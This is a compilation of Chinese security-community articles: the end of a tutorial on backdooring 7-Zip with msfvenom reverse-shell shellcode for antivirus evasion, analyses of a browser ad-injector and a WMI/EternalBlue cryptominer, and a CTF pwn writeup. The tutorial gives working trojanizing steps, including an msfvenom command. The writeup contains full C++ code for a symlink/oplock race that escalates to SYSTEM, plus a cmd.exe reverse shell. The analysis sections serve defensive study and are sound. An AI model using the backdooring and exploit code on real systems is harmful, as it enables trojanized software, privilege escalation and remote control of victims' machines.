打开LordPE，转到“Section Header”，并在最下面添加我们的Section Header（这里是.hello）。
将 **VirtualSize** 和 **RawSize** 增加0x1000字节，也就是4096字节。
确保我们的Section Header是可执行的。由于我们要把Shellcode放在这里，因此必须确保它是 **可执行、可读、可写的。**
保存该文件。
现在如果我们执行该文件，是不会正常运行的。因为我们已经添加了一个1000h字节的新Section， **但其Section Header是空的。**
由于现在，该文件已经包含了1000h字节的Section
Header，但该Section是空的。为了使文件能正常工作，我们就必须在文件的末尾添加1000h字节。我们可以使用任意值来填入，在这里我们使用了null值（00）。借助任何16进制编辑器，都可以在文件的末尾添加1000h字节，如下所示：
至此，我们已经在文件末尾添加了null值，并将修改后的文件重命名为 **7zFMAddedSection.exe**
。在进行下一步之前，我们必须确保修改后的 **7zFMAddedSection.exe**
文件是能够正常工作的，同时也要保证新的Section具有足够的权限。我们可以在Ollydbg中，通过查看“Memory Section”和“PE
headers”来进行检查。
**6.1劫持执行流**
我们可以看到，新的Section .hello已经具有了足够的权限。 **接下来要做的就是将程序的执行流劫持到我们新添加的.hello
Section处。**
当该程序运行时，它应该指向.hello对应的代码部分，也就是我们放置Shellcode的地方。在这里，请记下前五个操作码，我们在恢复执行流时还需要再次用到。
在Ollydbg中打开后，复制.hello Section的起始地址0047E000，并将位于004538D8地址的第一个操作码替换成 **JMP** 到
**0047E000** **。**
随后我们保存该文件，其具体操作为：右键点击 -> Copy to executable（复制到可执行文件） -> all
modifications（所有修改） -> Save
file（保存文件）。我们在这里将文件名另存为7zFMAddedSectionHijacked.exe。
**至此，我们成功添加了一个新的Section Header，并劫持了执行流。**
接下来，在Ollydbg中打开7zFMAddedSectionHijacked.exe文件。我们希望执行流重定向到我们新添加的.hello
Section，其中包含的都是null值。
现在我们就有了一个很长的空Section，后面要做的便是在该Section中添加我们的Shellcode，以便在执行文件时能够触发它。
**6.2 添加Shellcode**
如之前所述，我们将使用Metasploit的stageless Windows/shell_reverse_tcp
Shellcode。在这里，我们之所以不使用msfvenom提供的任何编码方案，是因为其中的大多数都已经被反病毒软件标记。
**为了添加Shellcode，首先我们要将寄存器放到栈上，并使用PUSHAD和PUSHHD操作来存储它们的状态。**
在Shellcode结束时，我们弹出寄存器，并通过粘贴此前复制的程序指令的方式来恢复执行流。这样就可以确保7zip的正常功能不受影响。
下面是指令的顺序：
PUSHAD
PUSHFD
Shellcode....
POPAD
POPFD
Restore Execution Flow...
我们在mfsvenom中，使用以下参数，生成Windows Stageless反向Shellcode：
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.116.128 LPORT=8080 -a x86 --platform windows -f hex
我们先复制Shellcode，随后在Ollydbg中粘贴的操作是：右键点击 > binary > binary paste，这样就可以得到相应的汇编代码。
**6.3 修改Shellcode**
现在，我们已经将反向TCP的Shellcode加入到.hello Section之中，但还要对我们的Shellcode进行一些修改：
* 在Shellcode的末尾，我们可以看到一个CALL EBP的操作，它会在Shellcode执行结束后终止程序的运行。但恰恰相反， **我们希望程序在Shellcode执行后还能正常运行，所以需要将操作码CALL EBP改为NOP（No Operation，无操作）。**
* 另一处需要做改动的地方是由于我们的Shellcode中存在一个WaitForSignleObject。WaitForSignleObject函数中的一个参数以毫秒作为单位，会在开始其它线程前等待该参数所定义的时间。如果WaitForSignleObject函数的参数为-1，则代表在其他线程启动之前，将等待无限长的时间。这就意味着，当我们执行该程序时，会产生一个反向Shell，但在关闭我们的反向Shell之前，7zip的正常功能会一直停止。关于如何查找和修复WaitForSignleObject，可以参考：[https://simonuvarov.com/msfvenom-reverse-tcp-waitforsingleobject/](https://simonuvarov.com/msfvenom-reverse-tcp-waitforsingleobject/) 。
* 在这里，我们只需要在NOP之前，将DEC INC操作码的值修改为-1，就可以实现上述内容。
* 还有，我们需要使用POPFD和POPAD来弹出寄存器的值，以供后面恢复时使用。
* 在POPFD和POPAD之后，我们需要添加5个早先在劫持执行流时复制的指令，以确保在执行完Shellcode后还能执行7zip的正常功能。
* 我们将上述改动另存为7zFMAddedSectionHijackedShelled.exe。
**6.4 监听Shell**
在Kali
Box上设置一个监听器，随后执行7zFMAddedSectionHijackedShelled.exe。最终我们运行的文件就是一个近乎完美的成品，既完整保留了原有功能，同时也得到了想要的Shell。
让我们来看看检测结果如何。
从检测结果来看，并不是很好。其主要原因在于我们使用的是一个已知的Metasploit
Shellcode，并且没有经过任何编码。如果需要，我们可以对这一点再进行改进。
**6.5 此方法的优点**
此方法的优点在于，我们可以创建较大的Section
Header，大空间的好处就在于不用担心Shellcode占用的空间，就算是编码若干次后，也能放心地注入。这一点就可以帮助绕过反病毒检测。
**6.6 此方法的缺点**
添加新的Section Header并赋予其可执行权限可能会触发防病毒告警。
此外，这种方法还会增加原始文件的大小，杀毒软件或者目标主机的用户有可能会通过文件大小的不同而发现异常。
反病毒软件的检测率相对较高。
在这里，我们要请大家特别留意创建Section Header方式的缺点。考虑到这些缺点，我们当前的这一方法距离“完全无法检测”的目标，还差得很远。
那么，在下篇中，我们将研究两种其他的方法，以帮助我们提升可用性，并有效降低后门的被检测概率，敬请阅读。 | 社区文章 |
# 【木马分析】网页上的污染源：“PM2.5报告”插件实为恶意广告注射器
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**
**
**前言**
**网站通过投放广告来获得收入，这本无可厚非。但是大家有没有想过，这些页面广告真的都是网站自己投放的么？其实并不一定，360互联网安全中心近日就发现了这样一款恶意软件，它会向用户正常访问的网页中插入各种低俗甚至是欺诈类的广告。**
该恶意软件主体会伪装成“PM2.5报告”程序，被安装后静默向Chrome内核浏览器安装扩展、向IE浏览器安装BHO插件进而插入广告。相较于我们在2015年发布的分析报告《“国产”广告注射器分析：以比价名义强插各大网站》中所提及的恶意软件，该软件可谓有过之而无不及。
“PM2.5报告”恶意程序流程简图：
**软件主体**
该软件的主体安装程序会主动检测当前运行环境，若检测到自身正被调试，则主动结束进程。
**BHO插件**
BHO(Browser Helper
Object)，即浏览器辅助对象，是作为IE浏览器的插件被使用的。而恶意软件主体程序被安装后，便会同时向IE浏览器中插入一个名为“Cyynb
Breath”的BHO插件：
该插件会云控获取的配置文件skin2.zip(GifBag.edb、PngBag.edb)，可以看到其对哪些网站进行注入广告都由云端规则控制
之后读取GifBag.edb、PngBag.edb两个文件的内容：
其中PngBag.edb为该插件在插入广告时要避开的网站或ID，内容如下：
而GifBag.edb文件中则是用于插广告的代码：
GifBag.edb中含带有需要插广告网站的完整列表，如下：
**Chrome浏览器扩展**
软件主体一旦发现Chrome浏览器（或使用Chrome内核的相关浏览器），则释放crx程序（ChRome
eXtension，即Chrome浏览器扩展程序）:
图标如下：
该扩展会修改用户打开的页面内容，向页面中插入其广告js代码：
通过查看被插入的js脚本，同样可以看到其广告推广行为同BHO插件一样，也是针对特定网站的。而通过插入云端js脚本来控制用户网页浏览的优点也很明显：一方面云端脚本的内容方便随时修改，使用起来比较灵活；另一方面对于普通用户来说基本毫无感知，难以察觉。
被插入广告网站列表中囊括了网易、QQ空间、凤凰网、搜狐等36个网站的所有包含.htm、.asp、.shtm后缀的网页页面。
而类似的，该广告脚本也含有一个白名单列表，即遇到以下这些网站，广告脚本是不工作的。其中包括各类政府网站、淘宝网、人民网、12306、百度等。
插入广告相关代码还通过设置/读取Cookie的方式，实现同一网站30分钟内再次打开不再出现广告。
并且其中还含有对广告展示的数量统计：
**浏览器被插入广告实测效果**
网易（Chrome内核浏览器）：
新浪网（Chrome内核浏览器）：
网易（IE浏览器）
腾讯网（IE浏览器）：
唯品会（IE浏览器）：
58同城（IE浏览器）：
我们随手点开其中的一些广告，弹出的都是类似这中诈骗或博彩的内容：
**传播情况**
通过对该恶意的监控，该程序主要通过某知名在线视频软件的升级捆绑安装，以及外挂辅助程序的捆绑推广，累积有近百万用户被安装该恶意程序。
对于此类广告注入行为，普通用户基本毫无感知。由于这些程序会隐藏于浏览器和网站之间，悄悄的修改网站代码，导致用户难以识别广告的真实性。往往是用户在访问正规官网时看见页面展示此类广告，很可能将其误认为是来自于官网推荐，因此对广告的安全性不加怀疑。而此类广告极有可能会将用户诱导向钓鱼网站或存在风险的网站，使用户遭受账号隐私泄露及财产损失的风险。
**在此360提醒广大用户**
1、如果发现访问知名网站网页出现低俗、欺诈等异常广告时，说明你电脑浏览器可能被劫持了，应及时检查清理不可信的浏览器扩展。
2、请谨慎使用来路不明的浏览器扩展程序，建议使用能自动禁用来路不明浏览器扩展的浏览器程序如360安全浏览器；
3、定期使用360安全卫士等安全软件扫描插件，发现恶意插件及时清除。 | 社区文章 |
# 【技术分享】使用WMI及永恒之蓝进行传播的无文件密币挖矿程序
|
##### 译文声明
本文是翻译文章，文章来源：trendmicro.com
原文地址：<http://blog.trendmicro.com/trendlabs-security-intelligence/cryptocurrency-miner-uses-wmi-eternalblue-spread-filelessly/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
****
无文件恶意软件是一种比较隐蔽的安全威胁，难以被分析及检测到。时至今日，使用无文件技术的新型恶意软件威胁的数量不断增多，恶意软件作者将这种技术作为对抗检测技术以及取证调查技术的法宝。最近，我们发现了一种新型的加密货币挖矿程序（我们将其标记为[TROJ64_COINMINER.QO](https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/TROJ64_COINMINER.QO)），这种程序同样使用了无文件技术。
我们最早于7月份在亚太地区看到这种变种。根据主动式云端截毒技术（Smart Protection
Network，SPN，趋势采用的一种技术）的反馈信息，受该安全威胁影响的国家及地区分布情况如下图所示：
这款恶意软件使用WMI（Windows Management
Instrumentation）来达到无文件持久化目的。具体说来，它使用了WMI标准事件消费者（WMI Standard Event
Consumer）脚本化应用（scrcons.exe）来执行恶意脚本。恶意软件使用永恒之蓝漏洞（EternalBlue，即[MS17-010](https://technet.microsoft.com/en-us/library/security/ms17-010.aspx)）来突破目标系统。正是因为无文件WMI脚本以及永恒之蓝的组合，使得这款恶意软件在隐蔽性及持久化方面做的非常极致。
**二、感染过程**
****
这款密币挖矿恶意软件的感染过程可以分为几个阶段。整个感染过程从[MS17-010](https://technet.microsoft.com/en-us/library/security/ms17-010.aspx)开始，恶意软件利用这个漏洞在目标系统上释放并运行后门程序（[BKDR_FORSHARE.A](https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/BKDR_FORSHARE.A)），这个后门程序可以用来安装各种各样的WMI脚本。随后，这些脚本会与C&C服务器通信，来获取指令、下载密币挖矿恶意程序以及相关组件。
**三、技术细节**
****
WMI是Windows的一个核心组件，通常用于日常管理任务，比如部署自动化脚本、在指定时间点运行进程或程序、获取已安装的应用或硬件信息、监控目录修改动作、监控硬盘空间等。然而，在网络犯罪分子手中，WMI可以用于恶意用途，正如我们在“[理解WMI恶意软件](http://la.trendmicro.com/media/misc/understanding-wmi-malware-research-paper-en.pdf)”
一文中分析的那样。本文所讨论的技术与那篇文章的样本所使用的技术非常相似，在那篇文章中，我们将相关样本标记为[TROJ_WMIGHOST.A](https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/TROJ_WMIGHOST.A)。
当特定条件满足时，如下所示的root/subscription类就会触发恶意WMI脚本的运行：
ActiveScriptEventConsumer
__EventFilter
__IntervalTimerInstruction
__AbsoluteTimerInstruction
__FilterToConsumerBinding
我们可以在ROOTsubscription命名空间中的ActiveScriptEventConsumer类的某个实例中找到恶意WMI脚本。ActiveScriptEventConsumer是一个持久化载荷，包含满足特定条件时需要执行的指令。比如，该载荷中会包含条件满足时所需要待执行的恶意JScript脚本，如下图所示。
我们可以从ActiveScriptEventConsumer类中提取出这个JScript脚本，其内容如下所示：
分析这一段脚本后，我们发现恶意软件作者使用了多个层次的C&C服务器，以便快速更新合适的服务器以及对应的组件。通过这种方式，攻击者就可以修改所下载的恶意文件，规避检测过程。
第一阶段的C&C服务器地址为“ **hxxp://wmi[.]mykings[.]top:8888/test[.]html**
”，可以下发指令，给出密币挖矿程序及组件的下载地址。这个服务器还包含第二阶段以及第三阶段的C&C服务器地址。根据我们对这个URL的监控情况，我们发现与该地址有关的操作仍在活跃中。前面我们在感染流程图中提到过，真正的挖矿载荷由TROJ_COINMINER.AUSWQ负责下载。这个载荷最初的地址为“hxxp://67[.]21[.]90[.]226:8888/32.zip”，该地址可从某个URL中获得，如下所示：
最近，这个URL更新过，修改了目标URL地址，但目标文件仍然保持一致。
这表明服务器的操作过程仍处于活跃状态，攻击者仍然尽职尽力地在监控及更新相关的C&C服务器。
__EventFilter类保存了用来触发相关事件所需的特定条件。查看 _EventFilter 代码，我们发现其中包含
Select * from __timerevent where timerid = “fuckyoumm2_itimer”
这样一条WQL查询语句。这条查询语句会查找ID名为“ **fuckyoumm2itimer** ”的计时器。
_IntervalTimerInstruction类包含两个公开属性：TimerID以及IntervalBetweenEvents。TimerID包含一个唯一的名称，用来表示“fuckyoumm2itimer”实例，这个实例正是
__EventFilter条件指向的那个实例。IntervalBetweenEvents提供了触发恶意WMI脚本的具体时间。IntervalBetweenEvents属性的值以毫秒为单位。对于本文分析的这个样例而言，间隔时间为10800000毫秒，即180分钟（3小时）。这意味着恶意WMI脚本每隔3小时会执行一次。
我们还可以在__AbsoluteTimerInstruction中找到其他一些信息。这个类可以在特定的日期、特定的时间生成某个事件。
最后，为了使所有的类以及实例各自能够建立联系，攻击者需要注册__FilterToConsumerBinding。我们可以在
__FilterToConsumerBinding类中找到如下信息：
ActiveScriptEventConsumer.Name=fuckyoumm2_consumer
__EventFilter.Name=”fuckyoumm2_filter”
__FilterToConsumerBinding类将 __EventFilter实例与
__ActiveScriptEventConsumer实例联系在一起。通过将各个类彼此关联起来，攻击者构造了完整的程序执行循环图。
__FilterToConsumerBinding类会检查哪些Windows事件将通过 __EventFilter来执行，也会检查
__ActiveScriptEventConsumer中相应的脚本。
**四、经验总结**
这次攻击中，IT管理员可以从两方面进行总结，进而提升安全防护能力。
首先，管理员需要根据情况来限制（并且禁用）WMI功能。这一过程需要目标系统上的管理员权限。安全人员只应该将WMI访问权分配给真正需要这一权限的特定的管理员账户组，这样就能降低WMI攻击的风险。
不是所有的主机都需要WMI服务。如果某台主机不需要访问WMI，我们就可以禁用这个功能来消除安全风险。微软提供了一份[快速指南](https://msdn.microsoft.com/en-us/library/aa826517\(v=vs.85\).aspx)，介绍了如何完全禁用WMI服务。此外，微软还提供了一个[工具](https://msdn.microsoft.com/en-us/library/aa826686\(v=vs.85\).aspx)，可以用来跟踪WMI活动轨迹。我们还可以禁用[SMBv1](https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1-smbv2-and-smbv3-in-windows-and-windows)来减少用户可能遭受的安全风险。
这个攻击的突破口是永恒之蓝漏洞，这个漏洞的补丁已经于2017年3月发布。然而，还有许多主机暴露在这个漏洞的攻击范围中。请确保操作系统、软件以及其他应用已处于最新版本，从而阻止攻击者将安全漏洞作为目标系统及网络的突破口。
**五、总结**
无文件攻击已经变得越来越常见。越来越多的攻击者选择使用直接从内存中进行攻击的方法，也会使用合法的工具或服务。在本文分析的案例中，这个密币挖矿恶意软件将WMI订阅功能作为无文件持久化技术加以使用。由于攻击过程中不涉及恶意文件落盘行为，因此更加难以检测。
在现代威胁场景中，单单搜索硬盘中的恶意文件已经远远不能满足需求。在内存中搜索相关证据也是非常困难的一件事，特别是当攻击行为只有满足特定条件才能触发时，证据搜索会变得更加困难。通常情况下，我们可以导出系统的内存数据，却无法触发恶意行为。然而，有大量Windows工具库可以提供这类攻击的线索，这些工具包括shimcache、muicache或者prefetch等。通过配置Windows事件日志，记录系统行为，我们也能得到其他一些有用信息。
**六、趋势的解决方案**
****
趋势提供了邮件以及Web网关解决方案，如[Trend Micro™ Deep Discovery™ Email
Inspector](https://www.trendmicro.com/us/enterprise/security-risk-management/deep-discovery/index.html#email-protection)以及[InterScan™ Web
Security](https://www.trendmicro.com/us/enterprise/web-security/index.html)，可以阻止恶意软件影响终端用户。在终端层面上，[Trend Micro Smart Protection
Suites](https://www.trendmicro.com/us/business/complete-user-protection/index.html#smart-protection-demos)提供了多种功能，如高保真机器学习、Web信誉服务、行为监控、应用控制以及漏洞屏蔽等功能，可以将此类威胁的影响降到最小值。此外，[Trend
Micro Endpoint
Sensor](https://www.trendmicro.com/en_ca/business/products/network/deep-discovery/endpoint-sensor.html)在监控与WMI有关的事件上也非常有效，这款产品能快速检查哪些进程或事件正在触发恶意行为。
[Trend Micro™ Deep Discovery™
Inspector](https://www.trendmicro.com/us/enterprise/security-risk-management/deep-discovery/index.html)可以检测与恶意C&C服务器有关的网络连接，快速识别网络中受影响的主机，同时[Trend Micro™ Deep
Security™](https://www.trendmicro.com/us/enterprise/cloud-solutions/deep-security/index.html)可以通过IPS技术阻止MS17-010漏洞的利用。
对于小型商业公司而言，[Trend Micro Worry-Free Services
Advance](https://www.trendmicro.com/us/small-business/product-security/worry-free-cloud-first/index.html)d通过托管邮件安全特性，提供了基于云端的邮件安全网关服务。它的端点保护功能也可以提供多种安全特性，比如行为监控以及实时Web信誉信息，以检测并阻止勒索软件。
**七、攻击特征**
****
**与这个攻击有关的哈希值如下所示：**
6315657FD523118F51E294E35158F6BD89D032B26FE7749A4DE985EDC81E5F86 (detected as
TROJ_CONMINER.CFG)
674F2DF2CDADAB5BE61271550605163A731A2DF8F4C79732481CAD532F00525D (detected as
TROJ_COINMINER.AUSWQ)
8c5bb89596cd732af59693b8da021a872fee9b3696927b61d4387b427834c461 (detected as
TROJ_CONMINER.CFG)
A095F60FF79470C99752B73F8286B78926BC46EB2168B3ECD4783505A204A3B0 (detected as
BKDR_FORSHARE.A)
E6fc79a24d40aea81afdc7886a05f008385661a518422b22873d34496c3fb36b (detected as
BKDR_FORSHARE.B)
F37A0D5F11078EF296A7C032B787F8FA485D73B0115CBD24D62CDF2C1A810625 (detected as
TROJ64_COINMINER.QO)
**与攻击有关的URL地址如下所示：**
ftp[.]oo000oo[.]me
wmi[.]mykings[.]top:888 | 社区文章 |
# 0RAYS-L3HCTF2021 writeup-pwn
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
连续肝48h 差点ak pwn
## vul_service
这题在比赛时写poc的时候在system32随便找了一个dll验证思路，但是权限修改总是失败，后来复现的时候才注意到即使是system权限也无法更改system32目录下的dll，但是出题人放进去的vul_service文件是system可写的，爆肝30+小时从零入门Windows编程到Windows提权，最后没拿到flag有点可惜，但也确实学到了很多
题目给了一个win10虚拟机文件，其中设置了1分钟执行一次vul_service的定时任务，从system32中找到vul_service文件进行分析，其逻辑是遍历`C:\Users\Public\tmp\`目录及子目录下的文件，根据文件路径读取文件权限后再根据文件路径写回文件权限
漏洞在于读取权限和写入权限都是用文件路径进行操作，如果在读和写之间的时间窗口进行竞争，将文件路径所指的文件修改，也就是读权限和写权限的文件不相同，就可能发生错误的权限设置
而通过对Windows的硬链接或符号链接可以实现同一个文件路径指向不同的文件
在新版本的Windows上由于
* 不再能通过硬链接将低权限文件链到高权限文件
* 无管理员权限的用户无法在文件系统中创建文件符号链接
> 来源
>
> [任意文件移动导致的Windows提权攻击分析 |
> (moonsec.com)](https://www.moonsec.com/archives/2768)
但是对于文件夹的符号链接则没有过多限制，所以可以采用两种思路达到竞争的时候将一个普通文件链接到vul_service的目的：
1. 先在tmp目录下创建链到文件夹A的符号链接，在竞争的时候将tmp目录下的文件夹链接到设备管理器中的文件夹，再从设备管理器中的文件夹创建符号链接链到vul_service文件（设备管理器不在文件系统中,所以可以创建文件符号链接）则访问`C:\Users\Public\tmp\A\abc`就相当于访问`C:\Windows\System32\vul_service.exe`
2. 在先在tmp目录下创建链到文件夹A的符号链接，在文件夹A中创建vul_service的同名文件，在竞争的时候将tmp目录下的文件夹链到`C:\Windows\System32\`则访问`C:\Users\Public\tmp\A\vul_service.exe`就相当于访问`C:\Windows\System32\vul_service.exe`
找到[googleprojectzero的工具symboliclink-testing-tools
](https://github.com/googleprojectzero/symboliclink-testing-tools)，在测试的时候只有CreateMountPoint.exe和SetOpLock.exe是还能正常使用的，在比赛的时候由于从设备管理器链接到vul_service的时候失败，不确定第一种方法是否已经和硬链接一样被修复（赛后请教出题人2st师傅，2st师傅表示第一种方法还可以使用，并且明显比第二种更灵活，抄抄改改James的代码即可，，2st
yyds），所以用第二种方法实现漏洞利用
由于symboliclink-testing-tools的实现使用了很多自定义类型和依赖项，所以在CreateMountPoint项目中的CreateMountPoint.cpp基础上加入Oplock相关的代码编写exp
整体思路是：先将symlink链接到target，在target中创建vul_service同名文件，然后用Oplock锁上文件等待定时任务中的vul_service读取target中的vul_service同名文件权限，释放锁后进行竞争，将target链接到`C:\Windows\System32\`，竞争成功的话则写文件权限时会将`C:\Windows\System32\vul_service.exe`的权限修改为attack用户可写，之后将vul_service文件的内容改为反弹shell的exe文件，监听端口等待定时任务下一次以system权限启动反弹shell即可
CreateMountPoint.cpp：
#include "stdafx.h"
#include <shobjidl_core.h>
#include <CommonUtils.h>
#pragma comment (lib,"Ws2_32.lib")
#define NUM 5
void END(SOCKET& ListenSocket, SOCKET& ClientSocket)
{
closesocket(ListenSocket);
closesocket(ClientSocket);
WSACleanup();
}
int get_shell()
{
WSADATA wsaData;
char buf[0x1000] = {
0 };
char getbuf[0x1000] = {
0 };
int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("[-] ERROR code：%d\n", iResult);
return 1;
}
SOCKET ListenSocket, ClientSocket;
ListenSocket = socket(AF_INET, SOCK_STREAM, 0);
sockaddr_in addr, addr2;
addr.sin_family = AF_INET;
addr.sin_port = htons(8888);
addr.sin_addr.S_un.S_addr = INADDR_ANY;
addr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
int addr2Len = sizeof(addr2);
bind(ListenSocket, (sockaddr*)&addr, sizeof(addr));
int ret = listen(ListenSocket, NUM);
if (ret == 0) {
printf("[+] Wating for connecting ...\n");
}
ClientSocket = accept(ListenSocket, (sockaddr*)&addr2, &addr2Len);
if (ClientSocket != NULL)
{
memset(getbuf, 0, sizeof(getbuf));
iResult = recv(ClientSocket, getbuf, sizeof(getbuf), 0);
printf("%s", getbuf);
memset(getbuf, 0, sizeof(getbuf));
iResult = recv(ClientSocket, getbuf, sizeof(getbuf), 0);
printf("%s", getbuf);
memset(getbuf, 0, sizeof(getbuf));
iResult = recv(ClientSocket, getbuf, sizeof(getbuf), 0);
printf("%s", getbuf);
}
while (1)
{
memset(getbuf, 0, sizeof(buf));
fgets(buf, 0x100, stdin);
iResult = send(ClientSocket, buf, sizeof(buf), 0);
if (iResult == SOCKET_ERROR)
{
printf("[-] send ERROR: %d", WSAGetLastError());
END(ListenSocket, ClientSocket);
return 1;
}
memset(getbuf, 0, sizeof(getbuf));
iResult = recv(ClientSocket, getbuf, sizeof(getbuf), 0);
iResult = recv(ClientSocket, getbuf, sizeof(getbuf), 0);
if (iResult == SOCKET_ERROR)
{
printf("[-] recv ERROR: %d", WSAGetLastError());
END(ListenSocket, ClientSocket);
return 1;
}
printf("%s\n", getbuf);
fflush(stdout);
fflush(stderr);
}
return 0;
}
class FileOpLock
{
public:
typedef void(*UserCallback)();
static FileOpLock* CreateLock(const std::wstring& name, const std::wstring& share_mode, FileOpLock::UserCallback cb);
void WaitForLock(UINT Timeout);
~FileOpLock();
private:
HANDLE g_hFile;
OVERLAPPED g_o;
REQUEST_OPLOCK_INPUT_BUFFER g_inputBuffer;
REQUEST_OPLOCK_OUTPUT_BUFFER g_outputBuffer;
HANDLE g_hLockCompleted;
PTP_WAIT g_wait;
UserCallback _cb;
FileOpLock(UserCallback cb);
static void CALLBACK WaitCallback(PTP_CALLBACK_INSTANCE Instance,
PVOID Parameter, PTP_WAIT Wait,
TP_WAIT_RESULT WaitResult);
void DoWaitCallback();
bool BeginLock(const std::wstring& name, DWORD dwShareMode, bool exclusive);
};
static FileOpLock* oplock = nullptr;
LPCWSTR lock;
LPCWSTR symlink;
LPCWSTR target;
LPCWSTR sys;
LPCWSTR shell;
LPCWSTR tmp;
void HandleOplock()
{
DebugPrintf("OpLock triggered, hit ENTER to close oplock\n");
getc(stdin);
printf("[+] Change symlink\n");
if (CreateDirectory(symlink, nullptr) || (GetLastError() == ERROR_ALREADY_EXISTS))
{
if (!ReparsePoint::CreateMountPoint(symlink, sys, L""))
{
printf("Error creating mount point - %d\n", GetLastError());
exit(-1);
}
}
else
{
printf("nofuck Error creating directory - %d\n", GetLastError());
}
}
int _tmain(int argc, _TCHAR* argv[])
{
symlink = argv[1];
target = argv[2];
lock = argv[3];
shell = argv[4];
sys = L"C:\\Windows\\System32";
if (argc < 5)
{
printf("CreateMountPoint.exe symlink target lock shell\n");
return 1;
}
CreateDirectory(target, 0);
if (CreateDirectory(symlink, nullptr) || (GetLastError() == ERROR_ALREADY_EXISTS))
{
printf("[+] Create symlink\n");
if (!ReparsePoint::CreateMountPoint(symlink, target, L""))
{
printf("Error creating mount point - %d\n", GetLastError());
exit(-1);
}
printf("[+] Create fake vul_service.exe\n");
HANDLE handle = CreateFile(lock, GENERIC_READ, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
CloseHandle(handle);
printf("[+] Lock\n");
LPCWSTR share_mode = L"RW";
oplock = FileOpLock::CreateLock(lock, share_mode, HandleOplock);
if (oplock != nullptr)
{
oplock->WaitForLock(INFINITE);
delete oplock;
}
else
{
printf("Error creating oplock\n");
return 1;
}
printf("[+]load shell\n");
Sleep(1000);
HANDLE lock_handler = CreateFile(lock, GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (lock_handler == INVALID_HANDLE_VALUE)
{
printf("Error open lock, %d\n", GetLastError());
return 1;
}
HANDLE shell_handler = CreateFile(shell, GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (shell_handler == INVALID_HANDLE_VALUE)
{
printf("Error open shell, %d\n", GetLastError());
return 1;
}
DWORD szr = GetFileSize(shell_handler, 0);
DWORD szw = szr;
PTCHAR p = (PTCHAR)malloc(szr);
ReadFile(shell_handler, p, szr, &szr, 0);
WriteFile(lock_handler, p, szw, &szw, 0);
CloseHandle(lock_handler);
CloseHandle(shell_handler);
printf("OK\n");
get_shell();
}
else
{
printf("nofuck Error creating directory - %d\n", GetLastError());
}
return 0;
}
a.cpp:
#include <WinSock2.h>
#include <winsock.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"ws2_32.lib")
int main(int argc, char* argv[])
{
WSADATA wsd;
WSAStartup(0x0202, &wsd);
SOCKET socket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
SOCKADDR_IN sin;
sin.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
sin.sin_port = htons(8888);
sin.sin_family = AF_INET;
printf("conncting...");
int ret = connect(socket, (sockaddr*)&sin, sizeof(sin));
if(ret!=0)
{
printf("[-] Error connect : %d\n", WSAGetLastError());
getc(stdin);
}
send(socket, "[+] Connected\n", strlen("[+] Connected\n"), 0);
STARTUPINFO si;
PROCESS_INFORMATION pi;
GetStartupInfo(&si);
si.cb = sizeof(STARTUPINFO);
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)socket;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
TCHAR cmdline[255] = L"cmd.exe";
while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi)) {
Sleep(1000);
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
> 参考：
>
> [一步步学写Windows下的Shellcode – 安全客，安全资讯平台
> (anquanke.com)](https://www.anquanke.com/post/id/195498#h3-10)
在编译时需要调整一些项目配置参数，反弹shell的io还有些问题，但是可以看到已经成功成为system权限
C:\Users\Attacker\Desktop\CreateMountPoint.exe C:\Users\Public\tmp\X1ng C:\Users\Public\tmp1 C:\Users\Public\tmp\X1ng\vul_service.exe C:\Users\Attacker\Desktop\a.exe
## slow spn
程序从flag.txt中读取6个字符的key和4个字符的plaintext，然后8次通过s盒或p盒的变换后放进模拟的cache中
cache的逻辑是可以多次模拟访问s盒中的地址，如果cache命中了该地址则使用最近最久未使用算法计数，未命中则sleep(1)模拟读取内存的情况
由于有一次访问plaintext在s盒中的地址的机会，所以可以先通过去访问一个地址的方式将一个地址填入cache，然后访问plaintext，通过延时判断cache是否命中，进而猜测plaintext的地址是否为正在cache中的地址，得到p=0x10a4
同样的方法爆破上图中v9=0x4924、v7=0x78c、v5=0x9d44，实际操作的时候得到
p=0x10a4
k>>8=0x754
k>>4=0x655e
k=0xace7
由于cache是通过5-10bit的line和10bit以上的tag来标记的，所以爆破得到的结果可能有偏差，根据题目提示不用得到很准确的数字，所以将key进行拼接key=0x754e7，连接靶机后输入key和plaintext拿到flag
PS：在实际操作的时候通过分成每组0x20个数据来确定范围，再修改exp爆破0x20个数据中p的值
exp：
def exp(times):
local=1
binary_name='slowspn'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
else:
p=remote('124.71.173.176', 9999)
e=ELF("./"+binary_name)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
rc=lambda x:p.recv(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda : p.interactive()
def add(addr,sp):
ru("What to do?\n")
sl('1')
ru("Where?\n")
sl(str(addr))
sla('Speed up?',str(sp))
